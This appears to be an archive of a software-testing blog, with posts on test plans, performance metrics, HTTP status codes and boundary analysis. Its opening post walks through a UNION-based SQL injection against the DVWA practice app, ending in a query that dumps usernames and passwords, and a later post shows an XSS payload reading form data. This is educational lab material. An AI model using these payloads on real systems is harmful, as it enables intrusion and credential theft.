Software Testing

SQL Injection Simplified

2015-08-17T15:16:00.000+05:30

Bond: “My dear, uncooperative Domino.”
Domino: “How do you know that? How do you know my friends call me Domino?”
Bond: “It’s on the bracelet on your ankle.”
Domino: “So, what sharp little eyes you’ve got.”
Bond: “Wait ’till you get to my teeth.”

During the last decade of IT security, many articles on SQL injection have been written. I am just putting effort to make it more simple and reader friendly.
This article is just fully devoted to those who are new to SQL injection.

SQL
SQL is nothing but a language which interacts with your database to work on your data. You can store new, retrieve or modify the stored data.

SQL Injection:
SQL injection is a craft that sends end-user Query directly to the application database.

What should we look at:
We should look the page which has direct parameter like
http:// Example.com/search?id=2
(query for this link should be like as : select name from users where id= '2')
also we can directly identify the field from web page.
like
<Form method ="GET" action "#" >
<input type- "Text" name= "ID">
<input type= "Submit" name="Submit">
</From>

How to start testing:
To identify the SQL Inject possibility we can add ' or '1'='1 or ' or 'a' ='a for more refer to the list.

When you will add this to URL. URL will be like
http:// Example.com/search?id=2'or '1' = '1 #
(query for this link should be like as : select name from users where id= '2' or '1' ='1' #')

Why do we use # or --
-- to tell MS SQL to ignore rest Query.
# to tell MYSQL to ignore rest Query and make it for the current instance.

How to start:
let's start with a search box. Pass 1' or '1'='1 # to the input field and watch the output.

As we can see that we get a search result and our Query is also executed.

Now we should go further to test SQL Injection vulnerability. Hence we should check the DB version and DB name to confirm the SQL Injection vulnerability with the following Query:
'union select null, @@version #
'union select null, database() #

After confirming SQL Injection vulnerability we can access the Schema of a system using the following
command:
'union select null, schema_name from information_schema.schemata #

Schema name is always same as database name that contains a table. We can access table directly from Schema using following Query.

'union select null, table_name from information_schema.tables where table_schema= 'dvwa' #

Now we need only column name to access data. hence we should use the following the table.

'union select null, column_name from information_schema.columns where table_name = "users" #

Since we have column name, we can access any data from Database like that

'union select null, concat(first_name, 0x0a,user_id, 0x0a, password) from users #

You can do this on DVWA 1.8 with a low-security setting.

Website check points

2014-04-06T00:42:00.002+05:30

Writer- Hey Pearl! what are you doing.?
Pearl-I am buying anew dress for party.
Writer- Have you check what you should be ?

Every body know but time to recall again.

Have you check that:

      -Home page load time or Size of home page. The most important factor in conveying an efficient impression is load time. end user may loose interest to open the site if it is taking long load time. All pages should be kept under 40-50k in size. The homepage should be especially small and quick to download.
- Pages should be easily readable, clear and easy to understand. theme should be eye friendly and visible/It is important that the site is not too cluttered with text and images. The font size needs to be large enough to be readable and clashing colours need to be avoided.

- Asking users to download an application or a plug-in at opening home page will always create annoyance and confusion, hence user will drive away.

- End user love to see all the business at home page with out scrolling. Avoid unwanted scrolling.

- The site should be interactive and encourage user participation from the outset. There should be direct links to user required actions immediately visible on the homepage.
- The site should strive to create a feeling of wanting more in the user. The goal should be to get the user to stay as long as possible and to come back to the site again.
- Providing immediate contact details such as e-mail addresses and telephone numbers on the homepage will give the site an open feel and add a personal touch, thus increasing user confidence and trust in using the site.

– certifications, associations seals etc. Providing credential information is a useful way to build trust in the user.
User registration-
    Are users made to register to get into site? - Forcing users to subscribe or register on the home page before continuing will not be appreciated and may turn users away. Users will only identify themselves when they are ready.
-Site map - Site maps are easy to understand and present a completely alternative direct method of navigating the site to the user.

- Always have a link to the homepage to ensuring that users do not get lost and feel more secure navigating the site.

- Search - An internal search facility provides users with a means of finding what they want on the website quickly and efficiently. help user to find business.

- No Broken links - All links should be continuously tested to insure they are working. Broken links will frustrate users and give an unprofessional impression as well security breach.
- Graphics/Images may not convey immediate meaning to some users so providing additional text links is important. ALT tags on images can boost ranking with some search engines Like Google.

- Avoid Frames - The fundamental view of data on the Web is the page, which is viewed as an atomic unit. Frames split up web pages and can add confusion to the user attempting to navigate the site.

Performance by Code review

2013-07-16T15:24:00.000+05:30

1. Make cache as possible

Caching is a possible support to reduce your CPU cycle. However, a good developer knows that most function for the cache is not persistent for data. So It should be considered that application should work with or without caching.

function chachtest()

{

sleep(10);

return date('d/m/Y H:i:s');

}

$set1 = chachtest();

echo $set1;

This code will run for ten Second , just because use of the sleep function, to simulate one slow operation. let re-analysis this code to:

$memcache = new Memcache;

$memcache->connect('localhost', 11211);

function chachtest() {

sleep(1);

return date('d/m/Y H:i:s');

}

$set1 = $memcache->get('item');

if ($set1 === false) {

$set1 = chachtest();

$memcache->set('item', $set1);

}

echo $set1;

2.Loops might slow You

However, a loop is more supportive for a developer. it is usually a good support to reduce development effort. But the worse use of loop may become a thread of bad performance. Like given in below example.

<?php

// bad example

function wrngloop()

{

sleep(10);

.return "Hello";

}

for ($i=0; $i<100; $i++) {

$value = wrngloop();

echo $value;

}

In this piece of example is variable is setup once for a cycle.

<?php

// better example

function wrngloop() {

sleep(10);

return "Hello";

}

$value = wrngloop();

for ($i=0; $i<100; $i++) {

echo $value;

}

Now you can find the problem.

To find performance issue look a while in code.

Detect big loops (for, for each, ...)
Do they iterate over a big amount of data?
check them.
is it possible to cache the operation inside the loop?
If yes, what are you waiting for?
If not, highlight them as potentially dangerous and focus your inspections on them. Small performance problems in your code can be multiplied.

3.Use Of Gearman

Gearman has a simple protocol and interface with an optimised, and threaded, a server written in C/C++ to minimise your application overhead.

it is an open source framework for application why not use it for

● Massive mailing systems

● PDF generation

● Image processing

● Logs

4.Improve DB Access

Another important tip is the usage of prepared statements. Why? The answer is simple. Let me show you one example:

Code A

$dbh = new PDO('pgsql:dbname=pg1;host=localhost', 'user', 'password');

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$field1 = uniqid();

$dbh->beginTransaction();

foreach (range(1, 1000, 1) as $i) {

$stmt = $dbh->prepare("UPDATE test.tbl1 set field1='{$field1}' where id=1");

$field1 = $i;

$stmt->execute();

}

$dbh->commit();

Code B

$dbh = new PDO('pgsql:dbname=pg1;host=localhost', 'user', 'password');

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$field1 = uniqid();

$dbh->beginTransaction();

$stmt = $dbh->prepare('UPDATE test.tbl1 set field1=:F1 where id=1');

foreach (range(1, 1000, 1) as $i) {

$field1 = $i;

$stmt->execute(array('F1' => $field1));

}

$dbh->commit();

The Code A sends the SQL update as one string and executes it 1,000 times.

The database will compile each update and execute. The Code B compiles it once and executes 1,000 times with different parameters.

There is another great benefit from using prepared statements, which is to prevent SQL injections.

But if you are talking about performance, you need to focus it.

Forte :

If you are looking to improve your Web performance, you should have an answer of these questions:

● How many database connections have I in my application?

● How much time does each select statement take?

● How many select statements are in code?

● Are we using these statements in loops?

● Do I really need these statements? Can I cache them at least with a TTL(Time to live)?

● Do we need to perform my transactions (Inserts, Updates drop) online inside the user request?

● why not queue them?

● How much CPU does the application use per request?

● How much memory does the application use per request?

Reference: piece of code is referred from http://stackoverflow.com/

Binary Search

2013-03-24T22:49:00.002+05:30

Obra: Hey Pearl! what are you doing?
Pearl: I am studying Binary search.
Obra: Tell me something about this
Pearl:
Binary search: As compare to linear search, it quite fast.
Approach take the median of lower bound and upper bound ( LB+UB/2). compare it with an element. if the element is greater than median then search will take place in right else in left place.

Obra:
Can you help out me to solve this problem using binary search?
Pearl: let's try.
Obra:
Let's Think, a number of people need to examine a number of filing containers. The containers are not all of the same sizes and we are told for each container how many boxes it contains. We are asked to find an assignment such that each person gets a sequential series of containers to go through and that it minimises the maximum amount of boxes that a person would have to look through.

let's Imagine that we have an unlimited number of people at our disposal. The crucial observation is that, for some number LIMIT, we can calculate the minimum number of people needed so that each person has to examine no more than LIMIT boxes (if this is possible). Let's see how we'd do that. Some person needs to examine the first container so we assign any person to it. But, since the containers must be assigned in sequential order (a person cannot examine containers 1 and 3 without examining 2 as well), it's always optimal to assign him to the second container as well, if this does not take him over the limit we introduced (LIMIT). If it would take him over the limit, we conclude that his work is done and assign a new person to the second container. We proceed in a similar manner until all the containers have been assigned and assert that we've used the minimum number of people possible, with the artificial limit we introduced. Note here that the number of people is inversely proportional to LIMIT: the higher we set our limit, the fewer people we will need.

Now, if you go back and carefully examine what we're asked for in the problem statement, you can see that we are really asked for the smallest LIMIT such that the number of people required is less than or equal to the number of people available. With that in mind, we're almost done, we just need to connect the dots and see how all of this fits in the frame we've laid out for solving problems using binary search.

With the problem rephrased to fit our needs better, we can now examine the predicate Can the workload be spread so that each person has to examine no more than x boxes, with the limited number of people available? We can use the described greedy algorithm to efficiently evaluate this predicate for any x. This concludes the first part of building a binary search solution, we now just have to prove that the condition in the main theorem is satisfied. But observe that increasing x actually relaxes the limit on the maximum workload, so we can only need the same number of people or fewer, not more. Thus, if the predicate says yes for some x, it will also say yes for all larger x.

Solution:
int Solution( boxes, int people ) {
   int n = boxes.size();
   int Low = *Max_element( box );
   int Upper = accumulate( box, 0 );

   while ( Low < Upper ) {
      int x = Low + (Upper-Low)/2;

      int required = 1, current_Load = 0;
      for ( int i=0; i<n; ++i ) {
         if ( current_Load + boxes[i] <= x ) {
            // the current person can handle it
            current_Load += boxes[i];
         }
         else {
            // assign next person
            ++required;
            current_Load = boxes[i];
         }
      }

      if ( required <= people )
         Upper = x;
      else
         Low = x+1;
   }

   return Low;
}

A portrayal of Test Plan

2012-11-01T15:43:00.000+05:30

Test Plan:

Test plan is complete and concise description , which represents all processes of testing.

…......................................................................

Aim:

The Aim of Test Plan is to complete all test process with on time and budget with following all defined standards

….......................................................................

How to write a test Plan:

However numerous article and documents are available for Test Plan writing. This creates a lot of deliberation in brain of manager. IEEE has defined the template for test plan to reduce this.

…........................................................................

IEEE Test Plan template 829:

- Test plan identifier : A unique String by which the test plan may be identified and may include version information too

- Introduction :

Summary of the test plan, including type of testing, level of testing (System test plan , component test plan, unit test plan...), any references to other documents, scope of testing and so on

- Test items:

The artefacts that will be examined during the test process.

- Features to be tested:

The features or items of the specification that will be examined

- Features not to be tested:

The features or items part of the specification that will not be examined

- Approach :

Addresses how the testing will take place during an examination of AUT.

- Item pass/fail criteria:

This could be viewed as the criteria for completion of testing per this plan.

- Suspension criteria and resumption requirements:

List the criterion for pausing or resumption of testing

- Test deliverable :

The artifacts created by the testing team that will be delivered as per this plan. Examples include - test cases, test design specifications, output from tools, test reports, etc.

- Testing tasks:

The testing tasks involved, their dependencies if any, time they will take and resource requirements

- Environmental needs :

List needs such as hardware, software and other environmental requirements for Assessment process of AUT.

- Responsibilities :

List of the people responsible for the various parts of the plan.

- Staffing and training needs:

The people & skill sets needed to carry out the test activities

- Schedule :

List the schedule dates when testing will take place. Also, list all the test activities according to time and date.

- Risks and contingencies:

Identify the risks, likelihood and impact as well as possible mitigation steps

- Approvals :

Sign-off by the stakeholders, denoting agreement etc.

…............................................................................

Key Notes.

Key Point to consider First for Preparation of Test Plan.

Staff day cost estimation and break down of a task by discipline.
Work plan strategy.
Schedule
Cost estimation( including travelling and others extra wages )
Personal Assignments.
Deliverable.
Communication responsibilities.

…................................................

Key points to Resource Management Plan.

Resource Planing details
Data information.

…................................................

The key point of care for budgeting.

Ability and absence of data.
Public and use of assets.
A number of internal and external issues.
Location
Training

…................................................

Process for prioritising Management area.

Cost share opportunity for resource management process preparation
Public user / User conflicts
Economical budget
management responsibility.
Cultural and natural Resource protection
Existing land issue..

…................................................

Remedy Plans:

Management must plan for Disasters with application . Some time risk and contingencies are properly mitigated but plan does not pay for its outcome. Since then managers have a healing option with such situations. This kind of plan always be hidden and specific. Also they must have best option for optimized result.

Security testing checklist for application

2012-09-14T15:29:00.003+05:30

1-Information gathering

Search engine discovered application
Spider, web application crawlers and robot.
Test for finger print.

2-Configuration management.

SSL/TLS testing.
Infrastructure configuration/interface.
Testing for file extensions.
Testing for HTTP methods.

3-Authentication testing

Testing for users enumeration.
Testing for guessable user account.
Brute force testing.
Testing for bypass authentication.
Testing for logout browsers cache management.
Testing for forgot&reset password.
Testing for CAPTCHA.

4-Session testing

Testing for cookies.
Testing for session management.
Testing for CSRF.

5-Authorisation.

Testing for path traversal.
Testing for bypass authorisation.
Testing for privilage escalation.

6-Buissiness logic

Testing for logic.
Testing for store reflected XSS.
Testing for store XSS.
Testing for DOM XSS.
Testing for SQL INJECTION.
Testing for cross site flashing.

7-Data validation testing

LDAP injection.
ORM injection.
Ssi injection.
CODE injection.
HTTP smugling.

8-Denial of sevice

Testing for SQL wildcard.
Attack.
Locking customer account.
Failure to release resource.
Storing too much data in session.

SECURITY TESTING from Start

2012-09-13T17:48:00.001+05:30

Testing of an application; learn defined its own (respect to application)value. We learned each thing from real world. Real world has given us a concept, be sure before execution. However it is a total a different concept that how much security should provide.

Most of the site are vulnerable, No one is sure in real world ; how can you assure that your sites are secure. Hence we must focus on basics of an application security.

Security takes place with the initial development of an application as a developer start to develop an application. Must focus on weakness of its application.

I have just started to learn security of application with my team. Demand was really ambitious, team was looking for stealing data, Hijacking application etc. A tough task to hijack an application~brain was denying. The hijacking of application! hijacking is not security testing. However, we accept to start working to hack. Ultimately, we get success.

After all, we have understood that hacking and security testing has thin line difference. security testing is to find out all vulnerable points. These points may use for hacking. By learning we have earned that fixation produces another security breach.

Application Security has various point of concern. However, right know we were just looking for business logic.

There is two most famous attack are used by attacker first SQL Injection and second XSS.

SQL Injection.

.SQL injection is a way to communicate database directly. However, it is just because the programmer doesn't focus at this. A simple escaping of SQL Statement stops the vulnerability.

Basic SQL injection can be done through URL. Try to find URL like given below. or User can directly insert SQL inject with filed.

http://www.xyz.com/index.asp?id=123

XSS.

XSS Cross site scripting is another way to get control over. Javascript functions have power. This power of execution can be used to access the vital information of an application.

cross-site scripting can be used at any place where user input is possible. the script can be written to get information.

http://www.xyz.com/index.asp?id=<script>alert( document.forms[0].element[0]);</script>

Performance Testing

2012-08-24T17:19:00.001+05:30

“Performance testing is the process by which software is tested to determine the current system performance. This process aims to gather information about current performance, but places no value judgements on the findings".

Performance Tests are tests that determine an end to end timing of various time-critical business processes and transactions under a particular workload.
It can demonstrate that the system meets performance criteria
It can compare two systems to find which performs better
It can measure what parts of the system or workload cause the system to perform badly

Performance criteria:

Most important for iterative testing.
Baseline (single user) for initial basis of comparison and ‘best
case’.
Benchmark (15-25% of expected user load) determines actual
state at loads expected to meet requirements

Performance measures:

Speed
Scalability
Stability
Confidence

Performance scenario:
The test scenario is based on the use of application, design and other constraints.

Automation with sahi

2012-08-21T11:58:00.000+05:30

An automated test is a program for testing other programs- Rex Black.

use of software to control the execution of Application
comparison of actual outcomes to predicted outcomes
setting up of preconditions
other control and reporting functions

Potential benefits of testing automation

Repetitive work is reduced (e.g., running regression tests, re-entering the same test data, and checking against coding standards)

Greater consistency and repeatability (e.g., tests executed by a tool in the same order with the same frequency, and tests derived from requirements)

Objective assessment (e.g., static measures, coverage)

Ease of access to information about tests or testing (e.g., statistics and graphs about test progress, incident rates and performance)

example of login test execution

_navigateTo("http://.................../");

var $p =0;

function login($sn,$uname,$pwd)

{

//Set userID

_setValue(_textbox("ctl00\$MainContent\$txtUserName"), $uname);

//Set password

_setValue(_password("MainContent_txtPassword"), $pwd);

//Click login

_click(_submit("ctl00\$MainContent\$btnSubmit"));

_click(_image("A1"));

_writeCSVFile($sn, "../scripts/TestData/Login1.csv");

_click(_link("Logout"));

}

function call($j,$k)

{

try

{

for (var $i=$k; $i<$j.length; $i++)

{

var $row = $data[$i];

}

} catch(e)

{

_logExceptionAsFailure(e+$k)

$k++;

call($j,$k);

}

var $data = _readCSVFile("../scripts/TestData/Login.csv");

call($data,$p);

sn,UID,PWd

script will execute corresponding to Login.csv data entries. Pass Result will store in Login1.csv while log will contain errors.

Performance testing at a glance

2012-08-06T17:44:00.003+05:30

Performance testing is used to provide an edge to application. Performance create a base line of effective use of application basis of time and response with effective use of available resource.

Questions Should ask first before Start a Performance testing.

1. Is my Test Configuration (duration / iteration setting) appropriate ?

2. Does my web application function properly under given load ?

3. How many Virtual Users were generated by Load Generator ?

4. Does the response times meet my target requirements ?

5. What was the slowest page on my web site ?

6. What was the Page that had longest download time ?

7. How many simultaneous users can my web application handle ?

8. What is the load generated by the virtual users on the network resources ?

9. What is the Performance of my Server and Database during the load test ?

Types of errors:

“Http errors” and “Server errors”

300 Multiple Choices

301 Moved Permanently

302 Found

303 See Other

304 Not Modified

305 Use Proxy

307 Temporary Redirect

400 Bad Request

401 Unauthorized

402 Payment Required

403 Forbidden

404 Not Found

405 Method Not Allowed

406 Not Acceptable

407 Proxy Authentication Required

408 Request Timeout

409 Conflict

410 Gone

411 Length Required

412 Precondition Failed

413 Request Entity Too Large

414 Request-URI Too Large

415 Unsupported Media Type

416 Requested Range Not Satisfiable

417 Expectation Failed

500 Internal Server Error

501 Not Implemented

502 Bad Gateway

503 Service Unavailable

504 Gateway Timeout

505 HTTP Version not supported

“connection errors”

Cannot find server or DNS Error.

cannot open the Internet site <Web address>. The operation timed out.

connection timed out.

“ Parameterization errors ”

Parametrization error may occur due to data constraints, wrong attribute and iterations.

"Response Validation Error Details"

Some time application return status response 200 but response may be wrong.

Reports:

User Details (Active Users vs Elapsed Time)

User Details should provide the number of Virtual Users active during the test run. You must verify the Active User Count at various intervals to see to it that the right load has been generated.

Hits per Second

Hits per Second helps you evaluate the amount of load Virtual Users generate, in terms of the number of requests to the server. More the number of hits, more is the load on the server. Http request can fora web page, an image, a style sheet, some JavaScript, a video file, etc.

Response time

Response Time is total time from once request made till completion.

Response time can be calculated based on queuing model M/M/1.

Formula is

R= S/1-U.

where R is response time

S is No of server

U is utilization

Response Time (mean value,Server response time, active user count)

From Response Time report it is possible to identify peaks in the response time over a period of time. Helps to identify issues when server is continuously loaded for long duration of time.

Response Time (per Transaction)

From this graph it is possible to identify peaks in the response time for transactions and then proceed to analyze the response times of individual pages.

Throughput:

through put is total amount of data. it is represented in Bit/ seconds or KB/seconds. Little's theory is used to calculate throughput i.e If a number of customers N are observed in a queue in a stable system and served in a period of time T and there are an equal number of arrivals A and leavers L, then, throughput is defined as X = A/T = L/T

Response time, the long-term average time spent resident in the queue and being served is R and R = N / X.

Menasce & Almeida derived formula for throughput is

Server throughput = No of real simultaneous user*[response time /(response time + Think Time)].

Server CPU vs Elapsed time

Application use the different kind of server. This report provide information about utilization of data base server and Application server( also others if used).

Types of error ...

2012-07-30T12:07:00.001+05:30

Connection errors:
Connection errors are established due to host and client connection.
following types of errors can occurs:

Invalid URL
Host Not Found
Time Out
Connection Refused
No Response from Web Server
Unexpected Error

Parameterization errors:
Parameterization errors are occurs due to unexpected use of data properties like type, size, value, format... etc. Even though data may be correct but the type of storage or format of file containing data may produce parametrization error.

Http errors and Server errors:

300-The address is actually pointing to two multiple files and/or locations.
301-The requested page has been permanently moved. The server will automatically redirect you to the new location.
302-The requested page has been temporarily moved. The server will automatically redirect you to the new location.
303-The requested data is stored in an alternate location and the GET method will be used to retrieve the data. If the actual error is returned then this may be due to a web server misconfiguration.
304-The requested data has not been modified since the last request.
305-The requested data may only be accessed via the use of a proxy server.
307-The requested page has been moved. The server will automatically redirect you to the new location. Unlike Error 301 and 302 however, the server has not specified whether the move is temporary or permanent.
-----------------------------------------------------------
400-The request was denied due to a syntax error in the request.
401-Your IP address or the user name/password you entered were not correct. Your request was denied as you have no permission to access the data
402-The data is not accessible at the time. The owner of the space has not yet payed their service provider.
403-Your IP address or the user name/password you entered were not correct. Your request was denied as you have no permission to access the data. OR The server was unable to serve the data that was requested.
404-The document that has been requested either no longer exists, or has never existed on the server.
405- The method you are using to access the document is not allowed. Possible methods include:(CONNECT,DELETE,GET,HEAD,OPTIONS,POST,PUT,TRACE)
406-The client (web browser) does not accept the document format. The formats that may be specified not to accept are char set, encoding, certain file types, languages, or ranges.
407-The browser has not been authenticated on the required proxy server to access the data. This error is probably most commonly returned by content filters/parental controls.
408-The server has closed the socket due to communications between the client and server taking too long. This could be due to server load, bandwidth issues, the client being disconnected from the internet, etc.
409-Too many requests for the same file at one time. OR There is a conflict with an established software rule. (ie: you are trying to copy over a file with an older version, or you do not have permissions to delete a file) OR This could be caused by a DNS issue.
410-This is like a 404 error in that the document requested is not on the server, however this differs in that the server 'knows' that the file used to be there and 'believes' that the file may be back, so it returns 410 rather 404.
411-When trying to send a document to the server the server did not receive a Content-Length specification in the header.
412-A precondition setting required by the client or server has not been met.
413-The process is too large to process. (ie: a file you are trying to upload is too large to fit on the server, or a web page you are trying to download is too large for the server to process)
414-The URL requested is simply too long. It is most likely more than 1024, 2048, or 4096 characters in length.
415-This usually occurs if the server does not support the type of media the client is requesting. (ie: the server does not support streaming media, but streaming media is on the server and the client is attempting to access it)
416-The client request included a range for acceptable file size, however the document requested did not fit into that range.
417-The client's expect header requested certain server behaviors that the server could not perform.
---------------------------------------------------------------
500-The server encountered an error. This is most often caused by a scripting problem, a failed database access attempt, or other similar reasons
501-The method you are using to access the document can not be performed by the server.
502-The document requested resides on a 3rd party server and the original server received an error from the 3rd party server.
503-The server is overloaded or down for maintenance and due to this was unable to process the client request.
504-Most likely the client has lost connectivity (disconnected from the internet) or the client's host is having technical difficulties. This could also mean that a server that allows access to the requested server is down, having bandwidth/load issues, or otherwise unavailable.
505-The server does not support the HTTP version used by the client. (This usually occurs if the server is using an OLDER version of HTTP than the client.)

Requirements Analysis A quick View

2012-04-24T18:14:00.000+05:30

Requirements Analysis:

Software engineering task bridging the gap between system requirements engineering and software design.

Requirement analysis Fills the pit fall of Software organization. Application requirement are changed day by day but base line and design is a construct which can be modified but not changed. such scope of future requirement and changes of requirement, Necessity of requirements must analysand before implementation.

------------------------------------------------------------------------------------------------------------------------

Profit:

Financial Analysis Clears the “Profit Haze"

Clear design and Scope

Best User and development support

Low change in system design

Reduce cost of maintenance

Disadvantage:

Extra Cost for analysis ( who will pay)

Time ( rapid development require and quick development may halt)

------------------------------------------------------------------------------------------------------------------------

Analysis Objectives:

Identify customer’s needs.

Evaluate system for feasibility.

Perform economic and technical analysis.

Allocate functions to system elements.

Establish schedule and constraints.

Create system definitions.

----------------------------------------------------------------------------------------------------------------------

What Vs How dilemma

We learn what the user needs are.

We propose how to address them by defining system requirements.

We specify what we are going to build in system requirements.

We describe how to address this by designing the system.

The system design says what we are going to build.

The software requirements tell how we will build part of the system in software.

The software requirements tell what we will build in software.

The software design how we are going to structure the software.

The software design tells what software structure we will build.

The code tells how this will be implemented.

-------------------------------------------------------------------------------------------------------------------------

Requirements Analysis Document (RAD)(IEEE 830)

1. Introduction

1.1 Purpose of the system

1.2 Scope of the system

1.3 Objectives and success criteria of the project

1.4 Definitions, Acronyms, and abbreviations

2. Current System

3. Proposed System

3.1 Overview

3.2 Functional Requirements

3.2.1 User

3.2.2 Optional Capabilities

(There are numerous extensions that one might consider for this project. You will not be graded on whether you have satisfied any of these requirements, yet we must provided them)

3.3 Nonfunctional Requirements

3.3.1 Usability

3.3.2 Reliability

3.3.3 Performance

3.3.4 Supportability

3.3.5 Implementation

3.4 System Models

3.4.1 Scenarios

Not present

3.4.2 Use case model

4. Extended Use Cases

(Some of the details in these use cases implies a specific user interface modality, which we are suggesting because of the implied simplicity in implementing application.)

5. Sample GUI

6. Appendix

7. End Notes

--------------------------------------------------------------------------------------------------------------------------

Gap Analysis

Gap Analysis is the process of comparing two things in order to determine the difference or “gap” that exists between them. Once the gap is understood, the steps required to bridge the gap can be determined.

Most often gap analysis is used to compare two different states of something; the current state and the future state. But Gap can analyzed with user requirements and Organization functional procedures with standardization.

-------------------------------------------------------------------------------------------------------------------------

Gap analysis can be conducted on:

a system – features that exist in the system now versus the features that need to exist in the future

a system interface – data that a system provides to an interface now versus data that will need to be provided in the future

a business process – activities and steps of a current business process versus the activities and steps that will be supported by the business process in the future

business goals and metrics – how well a business meets certain goals and metrics now versus the targeted goals and metrics at some point in the future.

---------------------------------------------------------------------------------------------------------------------------

The following technology gaps were identified in most organization:

1.No consensus on durability tests and performance levels in organization

2.No standardized tests for comparison of optical effectiveness and clarity of application functionality

3.No comprehensive specifications or guidance regarding Application requirements

How to trace Simultaneous User in performance testing

2012-04-03T13:55:00.002+05:30

Requirement:

1. Monthly Users: (50% of total Estimated)
• Users are expected to login when they purchase
• Purchase Cycles are spread over 20 days in a month
• Customers are in a single Time Zone
• Access Times each day is divided over a 4 hour interval (5pm – 9pm) at 50%
• 4 Hour Interval to be distributed at 15-50-25-10 with a peak of 50% (meaning the traffic is a bell curve with a maximum anticipated load of 50% users to be on the system at a given hour.
• Remaining 30% spread over the day (at work, work at home) over a 10 hour day.
• User Session Takes an Average of 2-5 Minutes depending on user type/class

2. Weekly Users: (20% of total Estimated)
• Users are expected to login on the weekend to check their usage
• Access Time distribution over 10 hour period
• Bell Curve is not necessary for this User Type

3. Daily Users: (20% of total Estimated) – These are the users that want to improve their usage and control costs.
• Access Time distribution over 4 hour period
• Users have a smaller Transactions list

Calculation Equation:
Where K is the Required User Usage:
the 50% are spread over 20 days and the weekly are spread over 2 days) and that only 50% of the 60% are active in the peak after work period
so I get

((((K * 0.5 Monthly)/20 days) * 0.6 weight * 0.5 peak)) / (60 Minutes * 5 Minute Session)) +
((K * 0.2 Weekly)/2 days)) / (10 hours * (60 Minutes * 5 Minute Session))) +
(((K * 0.1 Daily))) / (4 hours * (60 Minutes * 5 Minute Session)))

10,000 Users : 1.196 Simultaneous Users

I-Phone testing tips -A perception

2012-01-16T17:25:00.001+05:30

writer: Dear pearl! what do you think about kite?

Pearl : I have no space to fly kite.

writer : you can fly a kite from your bedroom window, but you need to focus on air flow.

Mobile(I-Phone) application testing is just about perception , how much resourse utilization can be made.

I Phone have not so much memory and higher processing speed like personal computers. Graphics and design are major key point for success of application. Either controllers are designed to get higher performance of application, but graphics type, image size,pixel and formats are more specific point of consideration. Like web application ,we can not provide more text as information.
we can use Alert for specific data(text) message. if it is necessary to provide more information , then text view can be used. Text view also provide functionality to edit text.
always remember text message should be specific and limited,precise and specific. Message should be inferable also.

Icon size or should be finger tip size , consider subtly customization of controls, hence controls can be integrate with application graphics style.
major functions should be at top of the application hence user will able to access them easily.

More focus on contents and feature which is necessary for end user. Application UI only important more if it Gaming or other entertainment application, but if it is Business application ,business functions become critical part of success for application.

I-PHONE Testing Basic

2011-12-19T18:04:00.000+05:30

Writer :Dear Perl can you dance in different dance formats

Pearl :How can I do, I need to know about it gesture and forms.

Writer : Right ! To do testing over I Phone application, we should know about its own guidelines given for user application.

Always follow the guidelines for I Phone application:

Aesthetic Integrity: This means how much efficiently integrated function of applications are working. this never mean tester should not care about beauty of application. testers should realize functionality of application is more precious than its UI.

Consistency: Applications are designed in same manner. application have same approach of handling. uniqueness of Text graphics and icon are more beautiful than glitter text. every time icons have same meaning in application and follow the iOS compliance. base line of product can not be changed in new built.

Direct Manipulation: Multi touch gesture provide great sense of touching in splendid way. multiple action and there true visibility is essence of I Phone application.

User Control:People expect to have ample opportunity to cancel an operation before it begins, and they expect to get a chance to confirm their intention to perform a potentially destructive action. Finally, people expect to be able to gracefully stop an operation that’s underway.

Gesture used in I Phone.

Gesture Action

Tap To press or select a control or item (analogous to a single mouse click).

Drag To scroll or pan (that is, move side to side).To drag an element.

Flick To scroll or pan quickly.

Swipe With one finger, to reveal the Delete button in a table-view row or to reveal Notification Center (from the top edge of the screen).

With four fingers, to switch between apps on iPad.

Double tap To zoom in and center a block of content or an image.

To zoom out (if already zoomed in).

Pinch Pinch open to zoom in.

Pinch close to zoom out.

Touch and hold In editable or selectable text, to display a magnified view for cursor positioning.

Shake To initiate an undo or redo action.

Key points to write reusable test case

2011-11-17T12:27:00.002+05:30

Reusable test case design is bit complex task. Tester put efforts on maximum specification coverage of test case. For a simple project tester writes thousands of test case. Some time it become difficult to find out reusable test case.

Test case writing is discipline approach for maximum benefit with less effort.

Key features for test case

Specific to requirement
Modularize
Descriptive
Easy and understandable
Clear objective
Clearly define Pass/fail criteria

I would like to prefer design of application based on specification. Test can modularize their test cases.

Modular approach will provide function reusable of test case.

Test Condition for Login Window

2011-11-17T11:59:00.000+05:30

If Login Id is alpha numeric with maximum 12 Login and first 2 letter should be alphabets

Condition for Login Id

Condition	1	2	3	4	5	6
Character	Y	Y	N	N	N	N
Alphanumeric	-	-	N	Y	Y	Y
First 2 letter should be alpha	-	-	-	N	y	Y
Range from 3-12	N	Y	-	-	N	Y
Action
Error	x		X	X	X
Login processed		y				Y

Testing Conditions

Test condition
User ID	Valid	Valid	Invalid	Invalid
Password	Valid	Invalid	Valid	Invalid
Action
Test decision	ok	ok	?	?

Test condition
User ID	Valid	Valid	Invalid
Password	Valid	Invalid	-
Action
Test decision	Ok	Ok	ok

Boundary Value Analysis

2011-10-10T13:13:00.000+05:30

Writer : Dear Perl ! Can you put on tie with out shirt.

Perl: Ha Ha Ha ! How it can be possible.

Writer:Same is with BVA. It can not be used without EQP

Boundary value analysis is special case of Equivalence class partitioning. After performing EQP , A tester can use this approach very easily.

Reason : most of the bug are founded on boundary. Data flow in computer is based on stream concept.

So in middle there are less chances of bug. So we focuses on boundaries more.

Standardized Rule :

Minimum boundary -1

Minimum boundary

Maximum boundary

Maximum boundary+1

but for more depth of testing we can also follow alternative rule

Minimum boundary -1

Minimum boundary

Minimum Boundary+1

Maximum boundary-1

Maximum boundary

Maximum boundary+1

Note: These boundaries are based on range, after formal implementation of Equivalence.

Equivalence Class Partitioning

2011-10-07T12:42:00.000+05:30

An equivalence class is defined as a subset of the form {x in X:xRa}, where a is an element of X and the notation "xRy" is used to mean that there is an equivalence relation between x and y.

An equivalence relation on a set X is a subset of XxX, i.e., a collection R of ordered pairs of elements of x, satisfying certain properties. Write xRy to mean (x,y) is an element of R, and we say x is related to Y then the properties are

Reflexive: aRa for all a belongs to X,

Symmetric: aRb implies bRa for all a,b belongs to X,,

Transitive: aRb and bRc imply aRc for all a,b,c belongs to X,,

Fix a natural number n. We say that two integers a, b

are congruent modulo n if their difference is divisible by n. And if that

is the case, we write a, b (mod n) where a and b both belongs to set natural numbers with relation congruent modulo n . and output is ever an integer. Integers are in an equivalence relation set in regards of Relation.

